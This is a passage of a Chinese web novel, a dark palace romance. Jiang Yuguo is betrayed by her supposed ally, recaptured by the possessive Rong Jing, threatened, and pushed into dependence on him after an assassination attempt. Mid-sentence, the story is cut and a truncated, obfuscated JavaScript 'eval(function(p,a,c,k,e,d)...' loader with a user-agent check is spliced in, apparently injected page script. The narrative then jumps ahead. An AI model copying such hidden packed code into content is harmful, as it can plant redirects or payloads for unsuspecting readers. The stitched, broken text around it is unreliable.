他脸上的面具在火光下反射着冰冷的光,看不清表情,但那双眼睛,再也没有了之前的同病相怜或孤注一掷,只剩下一片深潭般的漠然,甚至......带着一丝几不可察的嘲讽。 谢贤侄没有解释,没有愧疚,甚至没有再看姜于归一眼,仿佛她已是一件交割完毕的货物。 他只是对着那嬷嬷,用恢复了几分清朗,却依旧刻意压低的声音道:“人已带到,在下与公主殿下约定之事......” 那嬷嬷打断他,不耐烦的挥挥手:“公主殿下金口玉言,答应你的自然会办到,此地不宜久留,你的那份前程,自会有人安排。现在,你可以走了。” 谢显璋闻言,毫不犹豫的转身,走向望楼另一侧一个不起眼的,似是早已准备好的小门。 自始至终,他没有回头。 “谢显璋——!!!” 姜于归发出一声凄厉绝望的嘶喊,想冲过去,却被两名侍卫死死按住。 回应她的,只有那扇小门打开又迅速关上的轻微声响,以及门外迅速远去的,几不可闻的脚步声。 他走了,就这样干脆利落地走了,用一句出城的谎言,把姜于归诱至这陷阱,亲手交给了她最恐惧的敌人,然后像丢弃垃圾一样,转身消失于黑暗。 什么同盟,什么仇恨共鸣,什么预留退路......全是骗局! 他从一开始,就没想过要跟她合作?说的那些让她放松警惕的话,只是想让姜于归出手救他。等他伤势大好,便榨取姜于归最后的利用价值,把她交给永嘉公主,完成谢显璋自己的目的。 巨大的背叛感和被愚弄的耻辱,如同冰锥刺穿心脏,让姜于归浑身颤抖,几乎窒息。 “啧啧,真是可怜。” 嬷嬷走上前,尖利的指甲抬起姜于归的下巴,迫使她抬头,眼中满是恶意的嘲弄:“还以为遇上了救命稻草?不过是公主殿下手里一把用得顺手的刀罢了,放心,公主殿下会好好款待你的,定会让你......终身难忘。” 说完,嬷嬷一挥手:“带走!” 侍卫粗暴的将姜于归双手反剪捆住,用破布塞住她的嘴,拖拽着向外走去。 姜于归挣扎着,呜咽着,目光却死死盯着谢显璋消失的那扇小门,眼中是无尽的恨意和彻底破碎的绝望。 完了,一切都完了,落在永嘉公主手里,她甚至不敢想象自己会遭遇什么。 一行人刚走出望楼,来到堆场边缘相对开阔处,正要登上候着的马车。 斜刺里,骤然响起一阵急促而整齐的马蹄声!声音不大,却带着一种训练有素的肃杀,瞬间逼近! 火光映照下,一队不过七八骑,身着玄色劲装,腰佩制式长刀的人马,如同黑色幽灵般无声切入,恰好拦在了公主府侍卫与马车之间。 为首之人勒马停下,一身霁青色常服,外罩墨色披风,身姿挺拔如松。 火光跃动在他清隽的脸上,映出那双深邃平静,却仿佛能吸走所有光亮的眼睛。 正是容璟。 他甚至没有看那些如临大敌的公主府侍卫,目光直接越过他们,落在了被捆缚着,狼狈不堪的姜于归身上。 那目光,平静无波。 那嬷嬷见此脸色剧变,强自镇定地上前一步:“容世子!此女乃公主殿下要缉拿的逃奴,世子这是何意?” 容璟这才将视线缓缓移向她,语气淡漠:“逃奴?我荣国公府的侧夫人,何时成了公主殿下府上的逃奴?嬷嬷怕是认错人了。” “容世子休要狡辩!此女勾结逆党,今夜意图潜逃,被当场拿获!公主殿下有权处置!” “哦?” 容璟眉梢都未动一下,声音陡然转冷,带着无形的威压:“逆党?何人指证?证据何在?嬷嬷空口白牙,便要拿我国公府的人,恐怕......于理不合,于法更无据。倒是本官接到密报,有逆贼利用码头混乱,意图劫持官眷,本官职司所在,特来查看。如今看来......嬷嬷此举,倒与密报所言,颇有几分相似。” 容璟直接将劫持官眷的帽子反扣了回去!嬷嬷气得浑身发抖,却不敢真的与掌管刑狱和青龙台的容璟硬抗,尤其对方人马虽少,但那股精悍肃杀之气,绝非普通府卫可比。 “容世子!你......你这是强词夺理!公主殿下绝不会罢休!” 容璟语气恢复平淡,却已是不容置疑的结论,他不再理会嬷嬷,策马向前几步,来到姜于归面前,他居高临下地看着她:“公主殿下若有疑问,可明日具帖至刑部询问。” 那嬷嬷听闻此话气得浑身发抖,她狠狠剜了被两个护卫制住的姜于归,而容璟一抬手,他的侍卫已经不由分说的上前,从嬷嬷手里的侍卫手中,夺过了姜于归,但依旧被狠狠钳制着。 嬷嬷敢怒不敢言,只能眼色狠厉的看着这一切。 火把的光跳跃着,映着容璟清隽平静的侧脸,也映着姜于归苍白失神的面容。 周遭忽然静得可怕,只剩下河水拍岸的轻微声响,以及夜风吹动火把的噼啪。 容璟的视线落在姜于归脸上,看了许久,那目光沉静如古井深潭,辨不出情绪,却又仿佛能穿透皮肉,直抵她惊魂未定,一片狼藉的内心。 姜于归仰着头,脸上泪痕未干,眼中交织着未散的恐惧,劫后余生的茫然,以及对眼前之人更深的,无法言喻的绝望。 她刚刚经历了被“盟友”赤裸出卖,推入虎口的极致背叛,此刻,这个她最想逃离的人,却以这种绝对强势的姿态,将她从永嘉公主的爪牙手中救了回来。 容璟抬了抬手,动作不大,却带着一股无形的压力,他甚至没有下马,只是略略俯身,手肘支在马鞍前桥上,目光沉静的看向姜于归。 他就这样看了她许久,然后,容璟轻轻叹了口气。 那叹息极轻,落在死寂的夜里,却像一块冰投入滚油。 “姜于归。” 他唤她的名字,声音不高,平稳得听不出情绪,却字字清晰:“你很不乖。” 姜于归浑身一颤,涣散的目光艰难的聚焦在他脸上。 容璟继续说着,语气甚至算得上温和,像在陈述一个简单的事实:“逃了一次不够,还要逃第二次,看来,你是真的,一点儿也不想待在我身边。” 说到这里,容璟微微偏了偏头,像是困惑,又像是终于做出了某个决定。 “既然如此,我成全你。” 姜于归的瞳孔骤然收缩,一股比刚才更刺骨的寒意瞬间席卷了她。 容璟的目光缓缓扫过姜于归惨白的脸,凌乱的鬓发,最后落回她眼中深切的恐惧上,一字一句,清晰无比:“从现在起,你不是我荣国公府的世子侧夫人了,你是勾结逆党谢显璋,窃取国公府机密,协助钦犯潜逃,并意图谋害本官的——罪人。” 容璟说着顿了顿,仿佛在欣赏姜于归眼中最后一点光亮熄灭的过程。 “不日,荣国公府侧夫人姜氏,便会‘病逝’,从此,世上再无姜于归此人。而你,作为罪人,该去你该去的地方,诏狱,或者......刑场,你觉得呢?” 容璟说的每一个字都像烧红的铁签,狠狠烙在姜于归的神经上。 病逝?罪人?诏狱?刑场? 不!不是的!她没有勾结! 巨大的恐惧和求生欲如同溃堤的洪水,瞬间冲垮了她被背叛和绝望冻结的理智。 她不要这样不明不白的死!不要顶着这样的罪名消失!以这样不堪的方式消失!她的人生不能终结于此! “不......不是......” 姜于归挣扎起来,喉咙里发出嘶哑破碎的声音:“我没有......我没有勾结谢显璋!不是我!” 容璟静静的看着姜于归崩溃,看着她徒劳地挣扎,眼神深处一片冰封的平静,只有最幽暗处,掠过一丝极难察觉的,等待猎物最终落入网中的幽光。 “不是你?” 容璟轻声反问,带着一丝恰到好处的冰冷的疑惑:“人赃并获,当场拿住,证据确凿,你还有何话说?” 眼下的情形对姜于归很不利,但极致的恐惧并未让她彻底失智,反而像一盆冰水,浇熄了被背叛的灼痛,激发出一种濒死的,冰冷的清醒。 姜于归猛的抬起被泪水模糊却异常锐利的眼,直直看向马背上那个逆光的身影,喉咙因极度紧绷而嘶哑,声音却带着一种破釜沉舟的,近乎狠厉的清晰。 “我没有勾结谢显璋,我也没有逃!我是在那日生辰宴上,被他挟持出府的,这些时日一直被他囚禁,今日也是他挟持我来此。” 姜于归一字一顿,每个字都像从牙缝里挤出,带着血沫般的恨意和最后的坚持。 “他的目标从来不是我,是你,而世子你现在作为东宫助力,和睿王永嘉敌对,谢显璋把我交给永嘉公主,以此打击你,这才是他的投名状。” 姜于归喘息着,目光死死锁住容璟,试图从他眼中找到一丝动摇或破绽,哪怕只是万分之一的可能。 “你若此刻让我病逝或定罪,正中他们下怀,一个勾结逆党,畏罪自尽的侧夫人,会成为你治家不严,甚至暗中勾结的把柄,想必睿王和永嘉公主不会放过这个机会!” 姜于归不是在哭诉委屈,而是在陈述利害。 即使到了这一步,她仍在试图抓住唯一可能扭转局面的逻辑。 她对容璟的价值,哪怕是作为一件需要妥善处理的麻烦的价值。 容璟脸上依旧没什么表情,只是静静的听着,他没有立刻说话,目光在姜于归的脸上停留片刻,只是那双深不见底的眸子,极轻微的眯了一下,仿佛对她此刻还能进行这样一番陈情感到一丝......近乎玩味的审视。 “挟持......”容璟重复这两个字,语气莫测。 片刻静默,夜风呼啸。 姜于归捕捉到了那细微的变化,心脏狂跳,如同在悬崖边踩到了一块松动的石头。 她知道自己可能猜对了方向,至少,引起了他在处决之外的思考。 姜于归咽下喉咙口的腥甜,用尽最后的气力,声音压得更低,却更清晰,带着一种豁出去的,近乎谈判的决绝:“容璟。” 她直呼其名:“让我病逝,或是把我丢进诏狱,对你而言是最简单,却也最授人以柄的选择,而留下我,一个被政敌设计绑架,侥幸得脱的侧夫人,一个需要你庇护才能活下来的受害者......对你,更有利。” 姜于归说出了庇护这个词,这个她曾经拼死抵抗,如今却不得不主动求取的词。 话已至此,意图昭然若揭。 她不是在求饶,她是在做一场绝望的交易,用她从此以后彻底的受害者身份和被掌控,来交换活下去的机会,交换不被当做弃卒的命运。 姜于归不再说话,只是紧紧盯着容璟,胸膛剧烈起伏,等待最后的宣判。 冷风刮过她单薄的身体,带走最后一丝温度。 容璟依旧沉默着,时间在火把噼啪声中流逝,每一秒都漫长如年。 终于,他缓缓地,几不可察地,挑了一下眉梢。 那动作极细微,却像石子投入死水,荡开一圈无形的涟漪。 他没有说信或不信,也没有评价姜于归那番利害分析,他只是用一种全新的,带着评估意味的目光,重新打量了姜于归片刻,仿佛第一次真正看清了她骨子里那点不肯彻底折断的东西。 然后,他轻轻呵了一声,那声音极低,短促,辨不明情绪。 随即容璟翻身下马,落地无声。墨色披风在身后划开一道沉凝的弧线,他几步走到被侍卫架着,摇摇欲坠的姜于归面前。 侍卫下意识松开了手,姜于归腿一软,向前栽去,却没有跪倒,而是被容璟伸臂稳稳接住,揽入怀中。 容璟的手臂坚实有力,带着不容抗拒的力道,将她冰冷颤抖的身体禁锢在胸前。 他低下头,靠近姜于归耳边,温热的气息拂过她冰凉的耳廓,声音压得极低,只容她一人听见,带着一种冰冷而笃定的,仿佛早已预料到一切的平静。 “姜于归,你总是能给我一点......意料之外的惊喜。” 随后容璟他顿了顿,气息拂在姜于归颈侧,带着不容错辨的警告:“记住你刚才的话,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可在冰冷刺骨的背叛和死亡威胁之后,这具怀抱,这片带着容璟气息的披风,这平稳驶向囚笼的马蹄声,竟成了此刻唯一可感知的,真实的安全场所。 马车驶入熟悉的国公府,汀兰水榭的灯火在望。 这一次的归来,没有激烈的反抗,没有尖锐的恨语。 只有一片死寂的,疲惫的,以及深入骨髓的......认命。 笼门从未打开,但笼中的鸟,似乎终于开始用一种冰冷的,审视的目光,打量起这囚笼四壁的纹路,计算着在其中活下去,而非飞出去的......可能性。 容璟抱着她下马,一路无言,穿过寂静的回廊,步入内室,他将她放在榻边,自己则站在她面前,挡住了大部分光线。 他低头看着她,看了许久,然后伸出手,用指背极其缓慢的擦过她脸颊上残留的泪痕和污迹。 容璟再次开口,声音在寂静的室内显得格外清晰低沉:“记住了,没有下次,离开我,外面等着你的不是自由,是更深的陷阱,和更彻底的毁灭。你是我的人。生是,死——也是!” 随即容璟顿了顿,指尖在姜于归下颌处微微用力:“永远,别再想有离开的念头!” 姜于归仰头看着他逆光中深邃难辨的眼眸,那里面的东西她看不懂,也不想再懂,她只是觉得累,累到连点头的力气都没有。 她极其缓慢点点头,做出一个臣服的姿态,也是一个疲惫到极致的依靠。 容璟没有动,任由她靠着,片刻后,他才抬手,轻轻落在了姜于归微微颤抖的背脊上,有一下没一下的缓缓拍抚。 动作生疏,甚至有些僵硬,却带着一种不容错辨的,宣告所有权的意味。 夜,还很长。 回到汀兰水榭已有三日,姜于归像是被抽走了魂,终日蜷在窗边的软榻上,望着外面那方被高墙切割得规整的天空发呆。 容璟没再锁她,甚至撤去了外间多余的看守,只留下两个生面孔的丫鬟伺候。可姜于归觉得,有无形的锁链比赤金铃铛更沉,拴在她的脖颈上,每一次呼吸都带着窒息的钝痛。 她怕。 怕闭眼就是永嘉公主嬷嬷那双毒钩似的眼,怕耳边响起谢显璋转身离去时那声门轴轻响,更怕......容璟那双平静无波,却能将她所有伪装寸寸剥离的眼睛。 她撒了谎。 用谢显璋教她的那句被挟持,换来了此刻的安稳。 可这谎言像踩在薄冰上,不知何时会碎裂,将她重新投入刺骨寒渊。 如果容璟抓到了谢显璋,如果谢显璋为了活命,把姜于归主动逃走的事情告诉容璟...... 谢显璋说着不出卖,实则最后还是出卖姜于归,是以他的话,姜于归一个字也不敢再信。 谢显璋比容璟还言而无信! 第四日的傍晚,姜于归晚膳后在院子里消食,刚准备回房间,下一刻,只听得耳畔的空气被什么利器划破,身旁的丫鬟迅速做出反应,一把护着姜于归,下一刻,一个暗器直直定入走廊下的柱子上。 姜于归看清物品,浑身汗毛倒竖,还没来得及出声,一道黑影已如鬼魅般从屋顶翻入,落地无声,手中短刃在昏暗的室内划过一道冰冷的弧光,直扑姜于归而来! 姜于归想尖叫,喉咙却像被死死扼住,只能眼睁睁看着那刀锋逼近。 “夫人小心!”两个丫鬟显然武艺不差,眼看着那个带着黑色幕离的刺客靠近,立刻做出反应。 下一刻,“叮——”的一声,金石交击的脆响! 另一道霁青身影从姜于归身后飘然而来,剑光如练,精准的格开短刃。 两道人影瞬间缠斗在一处,动作快得只剩残影,兵刃相撞的火星在黑暗中迸溅。 是容璟。 他手中长剑稳如磐石,招式凌厉,步步紧逼,剑锋顺势上挑,直刺刺客咽喉! 刺客身手不弱,短刃翻飞,招招狠辣,却似乎不敢恋战,且战且退。 容璟剑势却如潮水般绵密凌厉,步步紧逼,剑锋划过时带起的锐风,刮得姜于归颊边碎发飞扬。 府卫很快赶来,迅速加入打斗,容璟退到姜于归身边,冷喝一声:“留活口!” 长青高声应了句明白,随后剑身如灵蛇般缠上短刃,顺势一挑! “嗤啦——”一声,刺客蒙面的幕离被剑尖挑飞! 姜于归瞳孔骤缩,浑身的血仿佛瞬间冻结! 银质面具!冰冷的光泽在火光下反射出刺目的寒芒!只露出线条冷硬的下颌,和紧抿的唇! “谢显璋——!”姜于归失声喊出这个名字,声音尖利得几乎破音,里面是惊骇,是恐惧,更是滔天的恨意! 刺客闻声,面具后的眼睛极快地扫过姜于归。 随即他不再犹豫,扬手掷出一把石灰粉,趁容璟挥袖遮挡的瞬间,身形一折,如鹰隼般撞破后窗,消失在渐浓的暮色中。 长青立刻带人前去追赶,而容璟背对着姜于归,看着谢显璋消食的方向沉默着。 片刻后,容璟才转身,看向脸色惨白如纸的姜于归。 暮色彻底吞没了最后一缕天光,室内只剩烛火摇晃。 姜于归浑身都在抖,指尖死死抠着榻沿,牙齿打战的声音清晰可闻。 容璟将剑递给匆匆赶来的侍卫,示意他们追查。 他走回姜于归面前,就着烛光仔细看了看她惊魂未定的脸,伸手替她拂开黏在额角的湿发,动作堪称温柔:“没事了。” 姜于归浑身发抖,指尖死死拽着被褥,声音都在打颤:“他......他是来杀我的?为什么?” 容璟走到榻边坐下,语气却平淡得像在讨论天气:“嗯,冲着你来的。” 姜于归难以置信的摇头:“为什么?他恨的是你!为什么要杀我?” “因为杀我,他成功率不高。” 容璟语气冷静得近乎残忍:“但杀你,一个手无缚鸡之力的女子,容易得多。而你的死,能让我痛苦,至少在外人看来,折了我心爱的侧夫人,是对我颜面和威望的打击,对他那种丧家之犬而言,能让我不痛快,便是他仅剩的报复。” 说到这里,容璟顿了顿,抬眼看向姜于归,烛光在他深邃的眸中跳跃,映出一片幽暗的平静:“何况,你知道他的身份和目的,知道他与永嘉公主的交易,留着你,对他始终是个隐患。杀人灭口,永绝后患,这才是江湖亡命徒的做派。” 姜于归听得遍体生寒。 原来,在谢显璋眼里,她连作为礼物的价值都没有了,只是一件需要销毁的,可能碍事的证据。 那股被背叛的恨意再次翻涌,混合着后怕的冰冷,让她牙齿都在打战。 容璟将她细微的反应尽收眼底,伸手握住姜于归冰凉的手,掌心温热,却带着不容挣脱的力道:“现在明白了?离开这座府邸,离开我身边,外面等着你的,不是自由,是无数把淬毒的刀。永嘉公主想折辱你,谢显璋想杀你灭口......这盛京城,想用你的命来算计我,打击我的人,远不止一两个。” 他倾身靠近,气息拂在姜于归耳边,低沉而清晰:“只有在这里,在我眼皮子底下,你才是安全的,因为你是我的,旁人动你,便是动我容潜玉的逆鳞。” 姜于归闭上眼,泪水无声滑落。 是恐惧,是绝望,也是一种近乎认命的,扭曲的松懈。 容璟说的对,外面太可怕了。 谢显璋的出卖,永嘉公主的恶意,今夜这淬毒的刀锋......哪一样,都足以让她死无葬身之地。 而容璟的怀抱,他的掌控,他此刻给予的庇护,成了这恐怖世界里,唯一可触碰的,真实的屏障。 哪怕这屏障本身,就是另一座囚笼。 良久,姜于归睁开眼,眼中仍有水光,却已是一片冰冷的清明。 她看着容璟,轻声问,声音还带着劫后余生的微哑:“若是......若是抓到了谢显璋,你会如何处置他?” 容璟眉梢几不可察的动了一下。 他看着她,目光沉静,却像能穿透她竭力维持的平静表象,看到底下那丝不易察觉的紧张与......期待。 “哦?” 容璟缓缓开口,语气里带上了一丝若有似无的探究:“你似乎......很关心他的下场?” 姜于归心脏猛的一缩,几乎漏跳一拍。 她强迫自己迎上他的目光,不能躲闪,不能心虚,指尖掐进掌心,用疼痛维持清醒。 姜于归一字一句,声音不大,却带着清晰的恨意,这恨意半分不假:“他挟持我,折磨我,今夜还想杀我,我自然希望他......罪有应得。” 姜于归小心的选择着措辞,将希望他死的迫切,包裹在受害者讨公道的外衣下。 既不能显得过于狠毒惹他疑心,又要足够强烈的表达立场。 容璟静静看了姜于归片刻,那双深邃的眼里情绪难辨,仿佛在权衡她话中真意,又仿佛早已洞悉一切。 然后,他忽然轻轻笑了。 不是冷笑,也不是讥笑,而是一种......近乎满意的,带着微妙宠溺的叹息。 他伸手,将姜于归从榻上拉起来,揽入怀中,让她侧坐在自己腿上,手臂环住她纤细的腰身,下颌轻轻抵在她发顶。 这是一个占有欲十足,却莫名让此刻的姜于归感到一丝虚脱后依赖的姿势。 “放心。” 容璟的声音从头顶传来,低沉,平稳,带着一种不容置疑的笃定:“他敢动你,便是触了我的底线,无论是为了公义,还是为了私仇......他都活不了。” 他顿了顿,手臂收紧了些,语气里渗出一丝冰冷的温柔:“你的委屈,你的惊吓,我都记着,这笔账,我会替你,一笔一笔讨回来。” 姜于归靠在容璟胸前,听着那平稳有力的心跳,鼻尖是他身上清冽的檀香。 紧绷了数日的神经,在这一刻,终于难以支撑地松弛下来。 她不知道容璟是否相信她的挟持之说,也不知道他是否看穿了她对谢显璋必死的期待背后,那层自保的恐惧。 但他给出了承诺。 一个会除掉谢显璋的承诺。 这就够了。 至少眼下,她安全了,在这个她曾经拼死想逃离的怀抱里,诡异的安全了。 面对姜于归的沉默,容璟低沉的声音从头顶传来,打断了她的思绪。 “在想什么?” 姜于归微微一颤,下意识的摇头,将脸更深的埋进他衣襟,闷声道:“没什么,只是后怕。” 容璟的手臂环得更紧了些,掌心温热,熨帖着她冰凉的背脊。他没有再追问,只是极轻的叹了口气,那叹息落在寂静的室内,竟带着一丝难以言喻的疲惫? 他声音很低,却字字清晰,带着一种尘埃落定般的笃定:“不必担心,谢显璋的事,我会处理干净。” 姜于归轻轻嗯了一声,没再说话。 她不知道这话是承诺,是安抚,还是别的什么。 她只隐约觉得,今夜这场突如其来的刺杀,像一块投入死潭的石头,激起的涟漪之下,是更深更暗的涡流。 而容璟,他出现得未免太过及时,就像一直在暗处等待,等着这一幕上演,等着在她最恐惧的时刻,从天而降,成为她唯一的庇护。 这个念头让她脊背发凉。 姜于归不敢深想,只能更紧的抓住眼前这具温热的躯体,仿佛这是惊涛骇浪中唯一可攀附的浮木。 哪怕明知这浮木本身,或许就是漩涡的中心。 窗外夜色彻底浓稠,远处隐约传来侍卫搜寻的脚步声,很快又归于寂静。 容璟保持着拥抱的姿势,手指有一下没一下地轻抚着她的背脊,节奏平稳,带着一种近乎催眠的安抚意味。 他的目光越过她的发顶,望向窗外沉沉的夜,眼底一片深不见底的平静,仿佛方才那场生死搏杀,不过是一场早已写好结局的折子戏。 烛火“噼啪——”轻响,爆开一朵灯花。 姜于归在他规律的轻抚下,眼皮渐渐沉重,惊惧过后,巨大的疲惫如潮水般涌上,将她拖入混沌的黑暗。 在意识彻底沉沦前,她恍惚听见容璟极低的声音,仿佛自言自语,又仿佛是说给她听。 “快了......就快结束了。” 那声音轻得像叹息,却莫名让她在昏沉中,打了个寒颤。 夜,还很长。 黑暗笼罩下来,他将她搂得更紧了些。 距离上次谢显璋的刺杀已经过去数日,谢显璋没有再来行刺,日子就这样平静的过着,很快入了夏。 这晚夜色如墨,浸透了汀兰水榭的窗纱。 姜于归披着件素白中衣,坐在妆台前,有一下没一下地梳着长发。 铜镜里映出的面容,平静得近乎空洞,唯有眼底深处,偶尔掠过一丝极难察觉的惊悸,像受惊的雀鸟掠过水面的影子。 容璟沐浴结束出来,身上带着清爽的水汽,仅着月白寝衣。 姜于归再次回来之后,容璟对她某些行为似乎有些距离。 他没有像以前那样走过来从身后拥住她,或将她抱回榻上,今日亦是如此,他只是缓步走进,目光沉静的落在姜于归身上。 容璟忽然开口,声音在寂静的室内显得格外清晰,也格外平淡,像在说一件无关紧要的公事。 “谢显璋的事,长青他们今日又摸到点尾巴,在城西一处赌坊后巷,交手了几招,滑不溜手,又让他遁了。” 姜于归梳发的手几不可察的顿了一下。 这已经是那次谢显璋行刺以后,容璟第三次提起这个名字,提起那如跗骨之蛆般的追捕,和一次次徒劳的险些抓住。 每一次,都像用羽毛最尖处,轻轻搔刮过姜于归刚刚结痂的噩梦。 她没回头,看着镜中自己平静无波的脸,声音也放得轻缓:“此人......竟如此难缠?” “亡命之徒,自然狡兔三窟。” 容璟站在姜于归身后一步之遥,同样望向镜中,两人的目光在模糊的铜镜里交汇,他的深不见底,她的看似温顺。 “何况,他能从青龙台和刑部的双重围剿下逃出生天,本就非易与之辈。” 姜于归放下玉梳,指尖无意识的蜷缩了一下。 铜镜里映着容璟的侧影,他正看着姜于归,那目光沉静,却仿佛能穿透镜面,直抵她心底那点尚未理清的纷乱。 谢显璋那双在破屋昏暗光线下,燃烧着彻骨恨意的眼睛,总是在姜于归放松警惕时浮现。 那恨意太浓烈,太具体,即便结局是那样不堪的背叛,也无法完全抹去它曾带来的震撼。 他为什么恨容璟恨到如此地步?这疑问像一根细刺,扎在她对那段经历最后的记忆里,不拔不快。 她需要为那场荒谬的同盟画上一个句号,一个由容璟亲口说出,让她能彻底死心的句号。 思及此,姜于归抬眼,看向镜中的容璟,声音放得轻,尽量不露痕迹。 “他......为什么那样恨你?” 话音落下,屋里静了一瞬。 容璟没有立刻回答,他只是微微偏过头,目光在姜于归的脸上停留了片刻,那眼神里多了几分探究,像是要从她平静的表面下,挖出些别的什么。 “哦?” 容璟轻轻应了一声,语调微微上扬,带着一丝若有似无的玩味。 “他挟持你的那些日子......竟没同你说些什么?” 镜中,容璟似乎极轻的挑了一下眉梢,那弧度快得让人以为是光影错觉。 容璟的目光依旧落在姜于归的脸上,带着一种审视的专注,仿佛在评估她这个问题的分量。 姜于归的心猛的一跳! 他果然在意这个! 他在试探,试探谢显璋到底对姜于归透露了多少,试探她有没有相信那些话,甚至......试探她此刻的问询,是基于好奇,还是基于某种潜在的怀疑。 姜于归后背瞬间窜起一丝凉意,脸上却强迫自己维持着方才那种略带困惑的神情,只是眼睫微微颤动了一下,泄露了细微的紧张。 姜于归斟酌着用词,声音更轻了些,带着一种不愿多回忆的厌烦与后怕:“他......他只反复说,是你害了他全家......具体的,我没细问,也不想听。” 她将没细问和不想听咬得稍重,既撇清了自己可能听信的嫌疑,又符合一个被挟持者惊恐厌烦的心理。 这是模糊焦点,也是自我保护。 镜中,容璟的眼底似乎闪过一丝极快的,难以捉摸的情绪,像是确认了什么,又像是某种紧绷的东西略微松弛。 他不再追问细节,转而将目光投向虚处,语气恢复了那种叙述公事般的平静,甚至带着一丝淡淡的嘲讽。 “害了他全家?” 104. 第 104 章 容璟重复着这几个字,摇了摇头,那神态并非愤怒,而是一种近乎嘲讽的不以为然。 “若说害,那也是他父亲谢诠自己的选择,害了谢家满门。” 容璟顿了顿,仿佛在组织语言,好让姜于归这个不明就里的局外人能够听懂。 “谢诠当年在户部,人脉活络,心思也活络。眼见太子与睿王之争初露端倪,他便打起了左右逢源的主意,既舍不得放下与薛贵妃娘家那点旧关系,想在睿王处留个余地,又觊觎东宫正统未来的前程,暗中向太子一系示好递话。首鼠两端,自以为能游刃有余,坐收渔利。” 容璟的叙述冰冷而清晰,将一场充满个人仇恨的指控,拉到了官场博弈与家族兴衰的宏大框架里。 “可他忘了,脚踏两条船,最怕浪打来,后来户部一桩牵扯多年的亏空案爆发,太子要借此立威肃清,睿王则想趁机保全势力,打击对手,谢家被翻了出来,成了两边都要用的棋,也是两边都可弃的卒,查办之下,历年积弊无所遁形,抄家流放,是按律而行,也是他父亲当年选择那条险路时,就该承受的代价。” 说到这里,容璟的目光才重新落回姜于归脸上,语气里带着一种洞悉世情的漠然。 “至于谢显璋,家族倾覆,他前途尽毁,从都察院颇有前途的官员沦为一无所有的流犯之后。他将这翻天覆地的变故与满腔怨愤,自然全都记在了最终执行法度,经办此案的刑部头上,记在了我的头上。他觉得是我毁了他的一切,所以恨我入骨,不惜一切代价想要报复。” 容璟轻轻呵了一口气,那气息短促而微凉。 “他的恨,或许是真的,但根子,从一开始就歪了。” 姜于归静静的听着,只觉得每一个字都像冰冷的雨滴,敲打在她心头那点残存的,关于谢显璋或许真有冤屈的微弱火星上。 容璟的解释,听起来如此顺理成章,一个政治投机失败的家族,一个将失败归咎于执法者的偏执儿子。 没有构陷,只有选择与后果,而谢显璋后来的所作所为,欺骗,利用,最终的出卖,似乎完美印证了这种被仇恨扭曲后的人格。 更重要的是,容璟是在姜于归承认谢显璋只说了笼统的害全家之后,才给出这番解释的,这让他看起来不像是在辩白,更像是在为一个不明真相的受害者理清一桩旧案的脉络。 信任的天平,在背叛的废墟上本已倾斜,此刻,这冷静残酷又看似合情合理的真相,成了压垮那点残存唏嘘的最后一根稻草。 而且容璟何必在此事上骗她?他根本不知道谢显璋曾对姜于归说过什么,所以容璟此刻的解释,听在她耳中,便是剥离了私人恩怨,最接近事实的真相。 姜于归心底那点因谢显璋强烈恨意而生出的最后一丝波澜,终于彻底平息了,取而代之的,是一种更深,更无奈的疲惫,和对眼前这个给出答案的男人,一种复杂而隐晦的......依赖。 至少,他给了她一个能让自己不再混乱的解释。 姜于归极轻的垂下眼睫,遮住了眸中所有翻涌过后归于沉寂的情绪,只轻轻应了一声:“原来......是这样。” 声音很低,带着彻底的了然,和一丝不易察觉的释然。 镜中,容璟的嘴角,似乎几不可察地弯了一下。 那弧度极浅,转眼即逝,快得像是烛火的摇曳。 他伸出手,指尖轻轻拂过姜于归垂在肩头的一缕发丝,动作缓慢而带着明确的占有意味。 容璟的声音低沉下去,落在她耳畔,带着一种事情已尘埃落定的慵懒:“都是旧账了,往后,不必再为这等宵小费心。” 旧账,宵小。 这两个词,像两块冰冷的墓石,彻底封存了破屋里的那段记忆,和那个叫做谢显璋的人。 姜于归没有动,任由容璟的指尖流连。 “嗯!” 姜于归低低应道,闭上了眼睛。 这个细微的,全然接纳的姿态,似乎取悦了身后的人。 下一刻,姜于归的手臂一紧,已被容璟拉着起身,旋了半圈,背对着被他揽入怀中。 容璟的气息从头顶笼罩下来,温热,却带着不容置疑的力道。 他的唇贴近姜于归的耳廓,声音低了下去,染上一丝暗哑:“总是想这些无关之人作甚?今夜,你该想的,只有我。” 话音未落,他已拥着姜于归向床榻走去,脚步沉稳,手臂却紧紧箍着她的腰身,让她几乎足不沾地,以一种完全被掌控的姿态,被带离了妆台那片能映出人影的区域。 直到膝弯触到柔软的床褥,被容璟带着倾身倒下,姜于归始终是背对着他,陷在他的胸膛与床榻之间。 这与以往都不同。 过去即便他也有强势的时候,但总会在缠绵间交换目光,或将她转过身来,手指描摹她的眉眼,唇齿纠缠间带着某种审视或温存。 可这一次,不——应该说从这一次姜于归回来之后,容璟总是习惯这样了。 他的手掌牢牢扣住姜于归的腰侧,另一只手拨开她颈后的发丝,吻落下的位置精准而带着些许急切,从后颈一路蜿蜒向下,啃噬般的触感激起一阵细密的战栗。 他的动作依旧熟稔,甚至比以往更带了几分不容抗拒的侵略性,却始终将她固定在这个背对的姿势,不曾让她回头,也未曾试图与她目光交汇。 昏暗的帐内,只有彼此交织的呼吸和衣料摩擦的窸窣声响。姜于归的脸半埋在锦枕中,视线所及只有摇曳的帐影。这种完全被笼罩,被掌控,却看不到身后人神情的姿态,让她在逐渐攀升的感官浪潮里,硬生生析出一丝冰冷的不安与疑惑。 为何一定要这样? 这念头像水底逆流,顽固的冲刷着她的意识。 这不是情趣的变换,更像是一种......刻意的规避。 规避她的目光,规避可能发生的,更亲昵的肢体交缠。 结合他这几日欢爱后便匆匆离去的情形,这反常像一根细刺,扎在她刚刚因解释而略微松弛的心防上。 容璟是......不信她? 这个认知比任何粗暴的对待更让她心底发寒。 或许他救她回来,享用她的顺从,却从未真正采信她那套被挟持的辩白。所以用这种方式,若即若离,提醒着她囚徒的身份,也......惩罚着她的不乖? 此刻的亲密,与事后的疏离,正是他无声的惩罚与告诫。 你仍是囚徒,你的安全随时可以收回。 惊惧与一种扭曲的求生欲,在姜于归体内绞紧。 